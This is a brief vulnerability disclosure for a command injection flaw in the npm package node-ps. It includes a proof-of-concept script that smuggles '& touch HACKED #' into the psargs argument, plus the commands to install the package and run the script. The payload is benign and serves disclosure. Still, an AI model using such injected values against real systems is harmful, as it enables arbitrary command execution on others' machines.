vulnerability command injection
severity 9.8
language javascript
registry npm


Command Injection in node-ps

Proof of Concept

  1. Create the following PoC file:
// poc.js
var a =require("node-ps");
a.lookup({psargs:["& touch HACKED #"]},function(){})
  1. Execute the following commands in terminal:
npm i node-ps # Install affected module
node poc.js #  Run the PoC
  1. Check the Output using ls command before and after the execution.